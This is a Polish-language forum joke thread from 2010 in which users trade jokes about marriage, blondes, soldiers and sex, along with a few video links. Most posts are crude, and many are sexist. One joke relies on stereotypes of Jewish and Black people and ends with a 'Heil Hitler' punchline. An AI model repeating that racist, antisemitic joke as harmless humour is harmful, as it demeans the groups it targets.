H-A-R-D-W-O-R-K (ciężka paca)
8+1+18+4+23+15+18+ 11 = 98%
a
K-N-O-W-L-E-D-G-E (wiedza)
11+14+15+23+12+ 5+4+7+5 = 96%
ale,
B-U-L-L-S-H-I- T (pieprzenie głupot)
2+21+12+12+19+8+ 9+20 = 103%
zas
A-S-S-K-I-S-S- I-N-G (włazidupstwo)
1+19+19+1 1+9+19+19+9+14+7 = 118%!

Tak więc jedynym, popartym matematycznie wnioskiem jest to, że chociaż ciężka praca i wiedza zbliża do ideału, to tylko pieprzenie głupot i włażenie w dupę wynoszą ponad przeciętność

napoleon604 - 11-09-2010, 12:22

Żona do męża:
- Wiesz, dziś, jak przechodziłam w przedpokoju, to zegar spadł tuż za mną.
Mąż: - Zawsze się, kur..., spóźniał... :pad:

Nic tak nie wyrabia przedsiębiorczości w Polakach, jak konieczność zorganizowania flaszki!

Jeśli góra idzie do ciebie, a ty nie jesteś Mahometem to spierdalaj, bo to na 100% jest lawina

Czyszcząc w kuchni dwudziestą rybę, żona zdenerwowana krzyczy do męża: - Proszę cię, jak człowieka! Jak jesteś na rybach, to KUR... PIJ WÓDKĘ!!!

Nie boję się żony! Tylko jak jej to powiedzieć...

Las. Między dwoma drzewami wisi ogromna pajęczyna. Na pajęczynie listki, igły sosnowe, płatki kwiatów... W pajęczynę z impetem wlatuje mucha. Przyklejona rozgląda się: - No kur..., pozawieszane tymi jebanymi banerami, nic nie widać...

Podchodzi kolega do kolegi i pyta:
- Zgadzasz się na seks grupowy?
- A kto bierze udział?
- Ja, Ty i Twoja żona!
- Nie, nie zgadzam się.
- OK, to Ciebie skreślam z listy.

martin - 11-09-2010, 14:00

http://www.youtube.com/pr...=tippexperience

Alternatywny koniec - w okienko wpisujemy polecenia typu "paint", "kissed" etc. W sumie kolo 40 wersji.

dziaba - 13-09-2010, 16:24

Rewiński-Skauci Piwni-Piwo vs Mleko

http://www.youtube.com/watch?v=dhcun1byFfA

Dany - 13-09-2010, 19:05

Czym różni sie kobieta od wuwuzeli??


Niczym... znosisz jej brzęczenie dopóki ty ją dmuchasz...

[ Dodano: 18-09-2010, 10:14 ]
Wieczor, rodzinna kolacja... Wszyscy domownicy siedzą przy stole. w pewnej chwili córka wstaje i zwraca się do rodziców:

Moi drodzy... chcę abyście wiedzieli że nadeszła chwila i musze podzielić się z wami pewna informacją...
Kocham kobietę, jestem homoseksualistką... podjęłam decyzję i jutro przchodzę operację zmiany płci...

Ojciec podnosi oczy od talerza i pyta:

TY SOBIE JAJA ROBISZ?!?!

Te_Pe - 05-10-2010, 20:07

Dany napisał/a:
TY SOBIE JAJA ROBISZ?!?!


Ci też sobie jaja robią :-)

hubert68 - 05-10-2010, 20:20

Te_Pe napisał/a:
Ci też soje jaja robią
Naprawdę dobre!
KasiaK - 08-10-2010, 14:18

Para z Rosji przyjeżdża na Wyspy Kanaryjskie do hotelu.
Wchodzą do pokoju, rozpakowują się. Nagle mąż słyszy krzyki żony:
-Aaa!! Tu jest mysz!!!! Dzwoń natychmiast do recepcji i powiedz...co tu jest grane. Zapłaciliśmy tyle pieniędzy, a tu myszy biegają w pokoju. Znasz trochę angielskiego, a ja ni w ząb..
Zrezygnowany mąż dzwoni do recepcji:
-Helloł
-Hello.
-Yyy...Ju noł "Tom end Dżery"????
-Yes.
-Dżery is hier.....

Marcin13736 - 08-10-2010, 22:34

Turysta do Bacy:
- Baco, a jakbym się przespał z waszą babą, to byli byśmy szwagry?
- Nie Panoćku, byli by my KWITA!

Ruski - 25-10-2010, 13:14

- Tato, dlaczego ta gorylica tak krzywo na nas patrzy ?
- Uspokój się synku, to dopiero kasa ...

Dany - 26-10-2010, 23:11

Siedzą dwie zakonnice na pomoście i patrzą w gwiazdy...
Jedna mówi do drugiej: popatrz droga Zofio: one świecą i my świecą

alamo - 29-10-2010, 20:41

Co oznaczają odrosty u blondynki?

- mózg ciągle walczy :p

Ruski - 30-10-2010, 12:46

W warsztacie samochodowym klient siedzi w fotelu i czyta gazetę, a na kanale stoi samochód. Przychodzi mechanik i zabiera się za auto.
Po chwili mówi do klienta:
- Przydałoby się wymienić świece.
- To wymieniaj pan, tylko szybko.
Mechanik czuje, że złapał frajera i nawija dalej:
- Pasek rozrządu też do wymiany. Klocki i tarcze też.
I płyn hamulcowy w chłodnicy, i wycieraczki ...
- Wymieniaj pan, tylko szybciej, bo nie mam czasu.
Mechanik skończył, odstawił samochód i mówi:
- No, gotowe.
- No to teraz - mówi klient pokazując palcem samochód przed warsztatem, bierz się pan za mój!

DeDeK - 30-10-2010, 23:27

Szef do pracownika:
- Miarka się przebrała, zwalniam pana!
- Zwalniam? Jestem naprawdę bardzo mile zaskoczony szefie, bo zawsze
myślałem, że niewolników się sprzedaje!

Pracownik często spóźniał się do pracy, bo zasypiał. Kierownik zagroził
chłopu zwolnieniem i biedak kupił sobie kilka budzików. Któregoś dnia budzi
się rano 8:15 (do pracy na 8). Budziki nawet nie gdaknęły.
Przerażony leci do sąsiada - dentysty i mówi:
- Rwij pan 4 zęby z przodu i pomaż pan mi twarz krwią, powiem, że miałem
wypadek.
Po zabiegu, pyta dentysty ile się należy, ten mówi 400 zł.
Gość zdziwiony mówi, że normalnie jest 40 zł. od sztuki, dentysta na to:
- Tak ale dzisiaj jest niedziela...


Prezes pewnej francuskiej firmy zebrał swoich pracowników:
- Zbliża się jubileusz naszej firmy. Trzeba go zorganizować tak, żeby
cały Paryż o nim mówił. Jednocześnie należy zredukować koszty do
minimum. Trzeba też pamiętać, że jubileusz wam, pracownikom, musi przynieść
wiele radości. Są jakieś pomysły?
- Tak! - słychać głos gdzieś z tyłu - Musi pan, prezesie, skoczyć z Wieży
Eiffla. Cały Paryż się o tym dowie, koszt będzie niewielki... A co do
zadowolenia pracowników...... to ....

Kowalski jak zwykle przyszedł spóźniony do pracy i zbiera
standardowyochrzan od szefa:
- Był pan w wojsku, Kowalski?
- Byłem.
- I co tam panu mówił sierżant jak się pan spóźniał?!
- Nic szczególnego...... " Dzień dobry, panie majorze "...

Ruski - 31-10-2010, 14:44

Para zakochanych siedzi w parku, całują się, rozmawiają, nagle dziewczyna:
- Kochanie, boli mnie rączka.
Chłopak całuje ją w rękę:
- A teraz ?
- Teraz już nie, ale zaczął mnie boleć policzek!
Chłopak całuje ją w policzek:
- A teraz ?
- Hi, hi! Teraz już nie, ale zaczęły mnie usta boleć.
Chłopak całuje ją w usta:
- A teraz ?
- Już nie.
Na to staruszek siedzący niedaleko na ławce:
- Przepraszam, a czy hemoroidy też pan leczy ?

tom_wie - 01-11-2010, 19:44

Co to jest, nie świeci i nie mieści się w dupie?






Radzieckie urządzenie do świecenia w dupie.

hennessy - 01-11-2010, 21:53

Awantura
>
> Skąd się biorą awantury domowe ?
>
> Żona dała mi do zrozumienia, co chce dostać na rocznicę
> ślubu.
> Powiedziała:-
> Chcę coś błyszczącego, co leci od zera do setki w ciągu 3
> sekund.
> Wobec tego kupiłem jej wagę.
> I wtedy zaczęła się awantura.
>
> Zona mówi : Tak się wczoraj uśmiałam w tym teatrze,
> kochany, że
> wróciłam do domu półżywa...
> -Powinnaś, najdroższa, pójść jeszcze raz na ten
> spektakl...
> I wtedy zaczęła się awantura
>
> Gdy wróciłem wczoraj do domu, żona domagała się, żebym ją
> zabrał do
> jakiegoś drogiego miejsca.
> Wobec tego zabrałem ją na stację benzynową.
> I wtedy zaczęła się awantura.
>
> Gdy skończyłem 65 lat, poszedłem do Urzędu Emerytalnego,
> żeby
> złożyć podanie o emeryturę.
> Niestety, zapomniałem wziąć z domu legitymacje
> ubezpieczeniową, więc
> powiedziałem panience w urzędzie, że wrócę później.
> Panienka na to:
> -Proszę rozpiąć koszulę.
> Gdy to zrobiłem, panienka powiedziała:
> -Te siwe włosy na pana piersi są dla mnie wystarczającym
> dowodem na
> to, że jest pan w wieku emerytalnym. Nie potrzebuje pan iść
> do domu
> po legitymację.
> Gdy opowiedziałem o tym żonie, ona powiedziała:
> -Powinieneś był jeszcze spuścić spodnie. Wtedy byś też
> dostał rentę inwalidzką.
> I wtedy zaczęła się awantura.
>
> Żona i ja poszliśmy na spotkanie maturzystów z mojej
> szkoły,
> wiele lat po maturze.
> Zauważyłem pijaną kobietę, siedzącą samotnie przy
> sąsiednim stoliku.
> Żona spytała:
> -Kto to jest?
> Odpowiedziałem:
> -To moja była sympatia. Słyszałem, że gdy przerwaliśmy nasz
> romans,
> ona zaczęła pić i od tej pory nigdy nie była trzeźwa.
> Żona na to:
> -Kto by pomyślał, że człowiek może coś świętować tak
> długo?
> I wtedy zaczęła się awantura.
>
> -Ona mówi do mnie - już się tak dawno nie kochaliśmy,
> chyba ze dwa
> lata... A ja do niej:
> -Chyba ty..
> I wtedy zaczęła się awantura
>
> Żona przechodziła obok domu publicznego, gdzie
> odbywała się
> wyprzedaż sprzętów.
> Kupiła papugę w klatce, przyniosła ją do domu.
> Klatka była przykryta płachtą, którą kobieta podniosła.
> -O, nowy burdel, nowa burdel-mama odzywa się papuga.
> Żona szybko zakryła z powrotem klatkę płachtą.
> Po jakimś czasie ze szkoły przychodzą córki i dopominają
> się, aby im
> pokazać papugę.
> Matka postanawia zaryzykować i odkrywa klatkę:
> -O, nowy burdel, nowa burdel-mama. O, i nowe dziwki...
> Klatka zostaje z powrotem zakryta. Przychodzi z pracy mąż i
> też chce
> widzieć papugę.
> Kobieta postanawia dąć jej ostatnia szansę i odkrywa
> klatkę:
> -O, nowy burdel, nowa burdel-mama, nowe dziwki. O, Zygmuś! Ty
> ten
> sam stary, wierny klient.
> I wtedy zaczęła się awantura.

Dany - 02-11-2010, 21:29

Ciężka praca fotografa
Pewne amerykańskie małżeństwo, w którym mężczyzna nie mógł niestety mieć dzieci, postanowiło skorzystać z usług tzw. zastępczego ojca. Po dokonaniu wszelkich niezbędnych ustaleń i formalności małżonek wyszedł na golfa, zostawiając żonę w oczekiwaniu na przybycie "specjalisty". Przypadek sprawił, że w tym samym dniu w miasteczku zjawił się objazdowy fotograf, specjalizujący się w zdjęciach dzieci. Zadzwonił do drzwi w nadziei na zarobek.
- Dzień dobry, madame, ja jestem...
- Ależ wiem, oczekiwałam pana - odpowiada kobieta i prowadzi go do środka.
- Ooo, doprawdy? - zdziwił się fotograf. - Ja, widzi pani, specjalizuję się w dzieciach...
- Wspaniale, właśnie o to chodziło mężowi i mnie - mówi kobieta i po chwili pyta spłoniona z emocji: - To gdzie zaczniemy?
- No cóż - odpowiada fotograf - myślę, że może pani zdać się zupełnie na mnie. Mam duże doświadczenie. Z reguły zaczynam w kąpieli, tak ze dwa - trzy razy, później zwykle ze dwie pozycje na kanapie, w fotelu i z pewnością parę w łóżku. Nieraz doskonałe efekty osiąga się na dywanie w salonie... Naprawdę można się wyluzować...
- Dywan w salonie... - Myśli kobieta. - Nic dziwnego, że mnie i Harry'emu nic nie wychodziło...
- Droga pani, nie mogę gwarantować, że każde będzie udane - kontynuuje fotograf - ale jeżeli wypróbuje się kilkanaście pozycji, jeżeli strzelę z sześciu - siedmiu różnych kątów, wówczas jestem pewien, że będzie pani zadowolona z rezultatu...
Kobieta z wrażenia zaczęła wachlować się gazetą, a facet nawija dalej:
- Musi się pani również liczyć z tym, że w tym zawodzie podczas roboty człowiek cały czas jest w ruchu. Kręcę się tu i tam, wchodzę i wychodzę nieraz kilkanaście razy w ciągu minuty, ale proszę mi wierzyć, że rezultaty mojej pracy rzadko zawodzą oczekiwania...
Kobieta usiadła przy otwartym oknie, spocona z wrażenia...
- Ha! A żeby pani widziała, jak wspaniale wyszły mi pewne bliźniaki! Zwłaszcza biorąc pod uwagę trudności, jakie ich matka robiła mi przy współpracy...
- Taka była trudna? - spytała mdlejącym głosem kobieta.
- Straszliwie... Żeby uczciwie zrobić robotę, musieliśmy pójść do parku. Ale był cyrk! Ludzie tłoczyli się dookoła ze wszystkich stron, żeby zobaczyć mnie w akcji... TRZY GODZINY! Proszę sobie tylko wyobrazić: TRZY GODZINY ciężkiej fizycznej pracy! Matka cały czas się darła tak głośno, że z trudem mogłem się skoncentrować. W końcu musiałem się spieszyć, bo zaczynało się robić ciemno. Ale naprawdę się wkurzyłem, kiedy wiewiórki zaczęły mi obgryzać sprzęt...
- Sprzęt... - głos kobiety był ledwo słyszalny. - Chce pan powiedzieć, że wiewiórki naprawdę obgryzły panu... khem.. sprzęt..?
- Hehehe, a skądże, połamałyby sobie zęby, twardy jest jak hartowana stal... No cóż, jestem gotów, rozstawię tylko statyw i możemy się zabierać do roboty.
- STATYW ?
- No a jakże, muszę na czymś oprzeć tę armatę, za ciężka jest, żeby ją stale nosić... Proszę pani! Proszę pani! Jasna cholera, ZEMDLAŁA

Ruski - 03-11-2010, 16:17

Dany, dobre :DDDDDD
alamo - 04-11-2010, 11:16

mąż z żoną siedzą na kanapie, w TV leci mecz.
mąż mówi: - może przyniesiesz mi piwo?
żona - a jakieś magiczne słowo?
mąż - hokus pokus czary mary, zapie..... po browary

KasiaK - 04-11-2010, 14:18

alamo napisał/a:
Co oznaczają odrosty u blondynki?

- mózg ciągle walczy :p


taaa
co to jest blondynka ufarbowana na ciemno, to wszyscy wiedzą - sztuczna inteligencja.

a odwrotnie? brunetka ufarbowana na blond?
- czyszczenie danych


:)

napisała Kasia, która do niedawna była blond ;)

zibomax1970 - 04-11-2010, 14:46

Określenie" BLONDYNKA" podobno nie jest cechą wyglądu lecz charakteru.
Andrzej Minorczyk - 04-11-2010, 16:47

Blondynka i brunetka oglądają telewizję. Brunetka mówi:
- Zobacz, Benedykt16.
Na to Blondynka:
-A Kubica który?

Padre-Kris - 04-11-2010, 19:10

Blondynka i brunetka spacerują plażą.
Brunetka spostrzega zdechłą mewę i mówi do blondynki:" Patrz zdechła mewa"
Gdzie, gdzie - pyta blondynka patrząc w chmury.

Zetowa - 05-11-2010, 09:34

Dlaczego mężczyźni siusiają na stojąco...
Kiedy Bóg stworzył Adama i Ewę miał jeszcze dla nich dwie rzeczy, które chciał im podarować.
Bóg powiedział: Mam jeszcze dwa podarki dla was, ten pierwszy to - umiejętność siusiania na stojąco.
Adam przerwał mu - To dla mnie! ja chcę to! To będzie naprawdę
fajnie, życie będzie znacznie prostsze i weselsze!
Bóg popatrzył pytająco na Ewę, a ona skłoniła głowę i powiedziała: Dlaczego nie, to nie jest konieczne dla mnie.
Więc Bóg dał Adamowi tę umiejętność.
Adam krzyczał, skakał ze szczęścia i obsikiwał wszystko dokoła. Obsikiwał okoliczne drzewa, pobiegł na wybrzeże i na piasku siusiając zrobił przepiękny wzór. Był dumny z tej umiejętności.
Bóg i Ewa patrzyli na radość Adama a w końcu Ewa zapytała Boga: Jaki jest ten drugi podarek, który chciałeś nam dać?
Bóg westchnął i odpowiedział: Rozum Ewo, rozum!. gD>

Marcin13736 - 05-11-2010, 10:13

Zetowa, jakiś feministyczny ten dowcip. Coś mi teraz smutno... :buuu:
Bartolomeo - 05-11-2010, 10:18

znałem wersję "Ewo to dla Ciebie zostają wielokrotne orgazmy ;) "
:/

Zetowa - 05-11-2010, 10:48

Marcin13736 napisał/a:
Zetowa, jakiś feministyczny ten dowcip. Coś mi teraz smutno... :buuu:
A dowcipy o blondynkach to jakbyś nazwał?

PS. Ja akurat mam jakieś takie rudawo-czerwone włosy :ping:

Cyborg - 05-11-2010, 10:54

Zetowa napisał/a:
Bóg westchnął i odpowiedział: Rozum Ewo, rozum!.

No i co się stało później z tym podarkiem?

;-)

Halszka - 05-11-2010, 11:03

Jak to co? Ewa dostała manto, Adam zabrał jej rozum, ale niestety nie potrafił go użyć. :humor:
Marcin13736 - 05-11-2010, 12:36

[ Dodano: 05-11-2010, 12:36 ]
Zetowa napisał/a:
Ja akurat mam jakieś takie rudawo-czerwone włosy

Czyli "ognista" kobieta- Hmm takie są... szalone kiedy trzeba :) Oczywiście w pozytywnym znaczeniu tego słowa!

martin - 05-11-2010, 12:48

Marcin13736 napisał/a:
szalone kiedy trzeba


Häuser mit rostigen Dächern haben feuchte Keller ;)

Andrzej Minorczyk - 05-11-2010, 15:04

Halszka napisał/a:
Ewa dostała manto, Adam zabrał jej rozum, ale niestety nie potrafił go użyć.
dobrze że nie zamienił rozumu na sikanie na stojąco :)
Nuroslaw - 05-11-2010, 16:59

Zetowa napisał/a:
Bóg westchnął i odpowiedział: Rozum Ewo, rozum!. gD>


znałem wersję że dla Ewy pozostał tylko wielokrotny orgazm.

Kiedy Adam był sam, smutno mu było, więc poprosił Boga o stworzenie drugiej tak pieknej, mądrej i doskonałej osoby jak on sam. Bóg chwilę pomyslał i stwierdził:
- ok, ale musisz oddać połowę siebie - jedno oko, jedno ucho, rękę, nogę, nerkę, płóco ....
Adam chwilę pomyślał i rzekł:
- a co dostaną za jedno żebro ??

canimo - 05-11-2010, 21:50

za jedno zebro? Coz to za malo na opanowanie ortografii (pluco!!)
tom_wie - 06-11-2010, 10:11

Zetowa napisał/a:
Dlaczego mężczyźni siusiają na stojąco...


Ale to nie było tak jak napisałaś :bee;

Adam i Ewa bawią się w Raju.
Przychodzi do nich Bóg i mówi:
- Dzieci moje, mam dla was dwa prezenty, ale musicie wybrać co komu ma przypaść. Pierwszy prezent - to sikanie na stojąco.
Adam zerwał się i zaczął walić głową w pień, krzycząc, że jest mu to niezbędne. Ewa ustąpiła. Bóg dał Adamowi prezent, a ten jak oszalały zaczął biegać i sikać na wszystko: na trawę, na drzewa, na ziemię.
Ewa do Boga:
- A jaki jest ten drugi prezent, Boże?
Bóg na to:
- Rozum, Ewo. Drugi prezent to rozum. - spojrzał na Adama i dodał - Przyjdzie ci i rozum mężowi oddać, bo obeszczy wszystko w cholerę!
I tak została Ewa bez prezentów...

Ruski - 07-11-2010, 19:10

Czerwonsi

[ Dodano: 08-11-2010, 23:05 ]
Idzie narkoman po pustyni. Nagle zauważa zakopaną w piachu amforę. A że spragniony był to z nadzieją wyciaga zatyczkę. Ale zamiast kropli wody z butli wyłazi Dżin i zagaduje do narkomana:
- Masz trzy życzenia!
Narkoman bez zastanowienia:
- Daj mi i sobie po działce! Zapalimy!
- Dobra, proszsz...
Zapalili.
Dżin nieprzyzwyczajony, schował się z powrotem do amfory, ale po chwili wychyla się niezdarnie i mówi:
- Dawaj drugie życzenie...
- Daj jeszcze raz to samo - odpowiada narkoman. - Dla mnie i dla Ciebie!
- Dobra. Proszsz... Chociaż mógłbyś wymyśleć coś mądrzejszego.
Zapalili. Dżin znowu schował się w butli. Trochę trwało zanim znowu z niej wylazł:
- Dawaj trzecie życzenie... Tylko pomyśl najpierw, bo to ostatnie...
- Trzeci raz to samo! - ordynuje narkoman. - Dla Ciebie i dla mnie, a co... raz się zyje...
- No mądry to Ty nie jesteś - mruknął Dżin, ale spełnił i to życzenie.
Zapalili, podumali, Dżin z powrotem wlazł do amfory. Mija godzina, dwie. Dżin wyłazi z butli:
- No dobra.... Dawaj czwarte życzenie....

adam j - 10-11-2010, 12:29

W poczekalni siedziała kobieta z dzieckiem na ręku i czekała na doktora.
Gdy ten wreszcie przyszedł, zbadał dziecko, zważył je i stwierdził, że bobas waży znacznie poniżej normy.
- Czy dziecko jest karmione piersią czy z butelki? - spytał lekarz.
- Piersią - odpowiedziała kobieta.
- W takim razie proszę się rozebrać od pasa w górę.
Kobieta rozebrała się i doktor zaczął uciskać jej piersi. Przez chwilę je ugniatał, masował kolistymi ruchami dłoni, kilka razy uszczypnął sutki. Gdy skończył szczegółowe badanie, kazał kobiecie się ubrać i powiedział:
- Nic dziwnego, że dziecko ma niedowagę. Pani nie ma mleka!
- Wiem - odpowiedziała - jestem jego babcią, ale cieszę się, że przyszłam.

Zetowa - 10-11-2010, 14:25

tom_wie napisał/a:

Ale to nie było tak jak napisałaś :bee;

Adam i Ewa bawią się w Raju.
Przychodzi do nich Bóg i mówi:
- Dzieci moje, mam dla was dwa prezenty, ale musicie wybrać co komu ma przypaść. Pierwszy prezent - to sikanie na stojąco.
Adam zerwał się i zaczął walić głową w pień, krzycząc, że jest mu to niezbędne. Ewa ustąpiła. Bóg dał Adamowi prezent, a ten jak oszalały zaczął biegać i sikać na wszystko: na trawę, na drzewa, na ziemię.
Ewa do Boga:
- A jaki jest ten drugi prezent, Boże?
Bóg na to:
- Rozum, Ewo. Drugi prezent to rozum. - spojrzał na Adama i dodał - Przyjdzie ci i rozum mężowi oddać, bo obeszczy wszystko w cholerę!
I tak została Ewa bez prezentów...

Pieluchę bym założyła, a prezentu bym nie oddała :bee;

Dany - 15-11-2010, 22:56

Pewnego dnia miś spotyka zajączka, który ma na uszach prezerwatywy.
- Te, zając, co jest grane, po co ci te prezerwatywy na uszach?!
- Bo jestem smutny, mam kiepski humor, mam doła i w ogóle...
- No dobra ale po co Ci te prezerwatywy na uszach?!
- Bo podkreślają mój a fee nastrój.

Darkoe85 - 17-11-2010, 09:24

- Czy bierzesz sobie tę oto kobietę za żonę?
- Nie, a Ty??

arkac123 - 18-11-2010, 17:55

Stary, ale ciągle zabawny:

Prawdziwa rozmowa nagrana na morskiej częstotliwości alarmowej CANAL 106, na
Wybrzeżu Finisterra (Galicja) pomiędzy Hiszpanami a Amerykanami ? 16
października 1997r.

Hiszpanie (w tle słychać trzaski): Tu mówi A-853, prosimy, zmieńcie kurs o 15
stopni na południe, by uniknąć kolizji... Płyniecie wprost na nas, odległość
25 mil morskich.

Amerykanie (trzaski w tle): Sugerujemy wam zmianę kursu o 15 stopni na północ,
by uniknąć kolizji.

Hiszpanie: Odmowa. Powtarzamy: zmieńcie swój kurs o 15 stopni na południe, by
uniknąć kolizji.

Amerykanie (inny głos): Tu mówi kapitan jednostki pływającej Stanów
Zjednoczonych Ameryki. Nalegamy, byście zmienili swój kurs o 15 stopni na
północ, by uniknąć kolizji.

Hiszpanie: Nie uważamy tego ani za słuszne, ani za możliwe do wykonania.
Sugerujemy wam zmianę kursu o 15 stopni na południe, by uniknąć zderzenia z
nami.

Amerykanie (ton głosu świadczący o wściekłości): Tu mówi kapitan Richard James
Howard, dowodzący lotniskowcem USS Lincoln marynarki wojennej Stanów
Zjednoczonych; drugim, co do wielkości okrętem floty amerykańskiej. Eskortują
nas dwa okręty pancerne, sześć niszczycieli, pięć krążowników, cztery okręty
podwodne oraz liczne jednostki wspomagające. Udajemy się w kierunku Zatoki
Perskiej w celu przeprowadzenia manewrów wojennych w obliczu możliwej ofensywy
ze strony wojsk irackich. Nie sugeruję... ROZKAZUJĘ WAM ZMIENIĆ KURS O 15
STOPNI NA PÓŁNOC! W przeciwnym razie będziemy zmuszeni podjąć działania
konieczne, by zapewnić bezpieczeństwo temu okrętowi, jak również siłom
koalicji. Należycie do państwa sprzymierzonego, jesteście członkiem NATO i
rzeczonej koalicji. Żądam natychmiastowego posłuszeństwa i usunięcia się z
drogi!

Hiszpanie: Tu mówi Juan Manuel Salas Alcántara. Jest nas dwóch. Eskortuje nas
nasz pies, jest też z nami nasze jedzenie, dwa piwa i kanarek, który teraz
śpi. Mamy poparcie lokalnego radia La Coruna i morskiego kanału alarmowego
106. Nie udajemy się w żadnym kierunku i mówimy do was ze stałego lądu, z
latarni morskiej A-853 Finisterra, z wybrzeża Galicji. Nie mamy gównianego
pojęcia, które miejsce zajmujemy w rankingu hiszpańskich latarni morskich.
Możecie podjąć wszelkie słuszne działania, na jakie tylko przyjdzie wam
ochota, by zapewnić bezpieczeństwo waszemu zasranemu okrętowi, który za chwile
rozbije się o skały; dlatego ponownie nalegamy, sugerujemy wam, iż działaniem
najlepszym, najbardziej słusznym i najbardziej godnym polecenia będzie zmiana
kursu o 15 stopni na południe by uniknąć zderzenia z nami.

Amerykanie: OK. Przyjąłem, dziękuję.

hazi - 18-11-2010, 19:08

Czym sie rozni siekiera ? prosze o odp :)
Yabulon - 18-11-2010, 19:46

Nie wiem czym różni się siekiera, ale za to wiem czym różni się kanarek :)














Tym, że ma jedną nóżkę bardziej. :)

I - 18-11-2010, 20:09

wróbelek chyba... :)
hubert68 - 18-11-2010, 20:15

Wpiszę się w nastrój: Ile par butów ma żołnierz i z czego?

[ Dodano: 18-11-2010, 20:21 ]
Odp: Żołnierz ma dwie pary butów, z czego... jedną na magazynie.... :ping:

Yabulon - 18-11-2010, 20:58

I napisał/a:
wróbelek chyba... :)
To ptok i to ptok, co za różnica, ale jakoś zasugerowałem się kanarkiem z latarni morskiej :)
Marcin13736 - 18-11-2010, 22:19

Po co żołnierz ma płaszcz?















- Po kolana!

przemo - 18-11-2010, 22:21

Facet przychodzi do baru z małą małpką na ramieniu i zamawia drinka. Po
chwili małpka zaczyna skakać po całym barze, podkrada oliwki z baru i je
zjada, potem bierze pokrojone cytryny i je również pałaszuje. Zaraz potem
wskakuje na stół bilardowy, bierze jedną bilę i ku zdumieniu
wszystkich - połyka ją. Barman krzyczy do faceta:
- Widział pan, co zrobiła pańska małpa?!
- Nie, co?
- Właśnie zjadła jedną bilę z mojego stołu bilardowego!
- To mnie nie dziwi. Ona je wszystko w zasięgu jej wzroku. Przepraszam za
moją małpkę, zapłacę za wszystko.
Facet kończy drinka, płaci i wychodzi z małpką. Dwa tygodnie później znów
przychodzi do baru z małpką na ramieniu, zamawia drinka a małpa zaczyna
znowu hasać po barze. Kiedy facet kończy drinka, małpka znajduje
wisienkę na talerzyku. Bierze ją, wsadza sobie w tyłek, wyjmuje, a następnie zjada.
Barman jest wyraźnie zdegustowany:
- Widział pan, co zrobiła tym razem?
- Nie, co?
- Wzięła wisienkę, wsadziła sobie w tyłek i zjadła!
- To mnie nie dziwi, ona je wszystko w zasięgu wzroku. Ale odkąd połknęła bilę, najpierw wszystko mierzy.
>

Bero - 18-11-2010, 22:30

co ma żołnierz pod łóżkiem?









żołnierz pod łóżkiem ma mieć porządek

QQS - 18-11-2010, 22:47

Co ma żołnierz w spodniach?








Żołnierz ma chodzic w spodniach długo i oszczędnie

Darkoe85 - 19-11-2010, 06:48

Jeżyk wybrał się z Krecikiem na włam. Wleźli do domku myśliwego no i po ciemku macają co warto skroić. Krecik ma większego czuja i znajduje sporo fantów, ale Jeżyk też daje radę. W pewnym momencie Krecik wymacał lufę od fuzji i włożył do środka głowę. Traf chciał, że w tym samym czasie Jeżyk wymacał kolbę. Nie trzeba długo tłumaczyć, że Jeżyk nacisnął spust... ...Huk, wystrzał.... Krecik leży bez głowy na podłodze i trzęsie się w konwulsjach. Podsuwa się Jeżyk, wymacał trzęsące się ciało Krecika i mówi: a fee... a fee, nie śmiej się, bo ja chyba ogłuchłem!
Dany - 19-11-2010, 17:28

Żona leży w łóżku.
Przychodzi mąż z owcą pod pachą i mówi:
-Widzisz, kochanie, z tą świnią kocham się, jak ciebie boli głowa.
Żona:
-Mam nadzieję, że wiesz, że to jest owca.
Mąż:
-Mam nadzieję, że wiesz, że nie mówię do ciebie.

[ Dodano: 20-11-2010, 16:11 ]
Niemiec, Żyd i Murzyn czekają na porodówce.
Wychodzi lekarz i oznajmia, w wyniku bałaganu dzieci się pomieszały i nie wiadomo które jest które.
Murzyn na to:
-nie ma problemu, rozpoznam swojego, ma inny kolor.
wchodzi do pokoju noworodków, po chwili wychodzi i mówi:
-nie mam pewności, one są wszystkie takie różowawe.
Na to Żyd:
-ja rozpoznam, mój ma większy nos od pozostałych.
po chwili wychodzi ze smutna miną:
-mają podobne nosy.
Niemiec:
-Ja coś wymyślę.
Po minucie wychodzi trzymając swoje dziecko na rękach.
-Jak je rozróżniłeś? - pytają pozostali
-to proste, wszedłem i krzyknąłem Heil Hitler!!!
-Mój stanął na baczność, Żyd się zesrał, a Murzyn po nim posprzątał.

breath - 23-11-2010, 09:55

Jedna jaskółka wiosny nie czyni ... natomiast jeden bocian owszem ... i niech nikt mi nie mówi że wielkość ptaka nie ma znaczenia ... :)
hexe - 23-11-2010, 12:26

- Otwierać! Policja!
- Nie zamawialiśmy policji, tylko prostytutki!
- Ale to sąsiedzi nas wzywali!
- Sąsiedzi wzywali, to niech sąsiedzi ruchają.

:ping:

Kurierex - 23-11-2010, 12:34

Na stacji benzynowej:
- Chcę zapłacić za paliwo do motocykla, stanowisko 3.
- A może kupi pan jeszcze płyn do spryskiwaczy?
- Nie, dziękuję, jestem przecież motocyklem.
- To może choinkę zapachową..?


lukaszl - 23-11-2010, 20:24

- Przynieś mi piwo z lodówki
Woła mąż do żony oglądając TV
- A magiczne słowo?
Odpowiada żona.
- Hokus Pokus Czary Mary Zapierdalaj Po Browary!

Dany - 23-11-2010, 22:20

Wstaje raniutko facet i idzie do łazienki wziąć prysznic. Patrzy, a
tu przyrodzenie brązowego koloru nabrało.
- Ewelina, choć no tu natychmiast!
Żona z kuchni woła:
- Czesław, jestem zajęta! ZAJĘTA, rozumiesz! A to ugotuj, a
to upierz, wyprasuj, zmyj podłogę. Dzieci do szkoły, dzieci ze
szkoły.
Śniadanie, obiad, kolacja. I tak w kółko i tak w kółko. Nie mam
czasu nawet dupy podetrzeć.
- Oo..o... właśnie! O tym chciałem z tobą porozmawiać......

Kurierex - 25-11-2010, 04:10

Amsterdam. Dzielnica czerwonych latarni. Do prostytutki podchodzi marynarz i zagaja w te słowa:
- Kochanie... dam ci coś, czego ci żaden facet jeszcze nie dał...
"Dama" odwraca się do koleżanki:
- Słyszałaś?! Koleś twierdzi, że ma dżumę.


Dwie psiapsiółki
- Wiesz, jestem niegrzeczną dziewczynką i dostanę od Mikołaja rózgę.
- Na gwiazdkę?
- Nie, na baterie

wielki nicpoń - 25-11-2010, 17:44

Nową pozycję seksualną opisano.

"Na Łapickiego" mianowicie.

Z jedną nogą w grobie.

Bero - 30-11-2010, 15:25

http://spiderprzedstawia....ne&ticaid=6b560
Kurierex - 30-11-2010, 15:32

http://www.youtube.com/watch?v=XBgBzBt2rnY
Marcin13736 - 01-12-2010, 09:32

Kurierex, filmik jak filmik- ale komentarze pod min to juz coś!!!
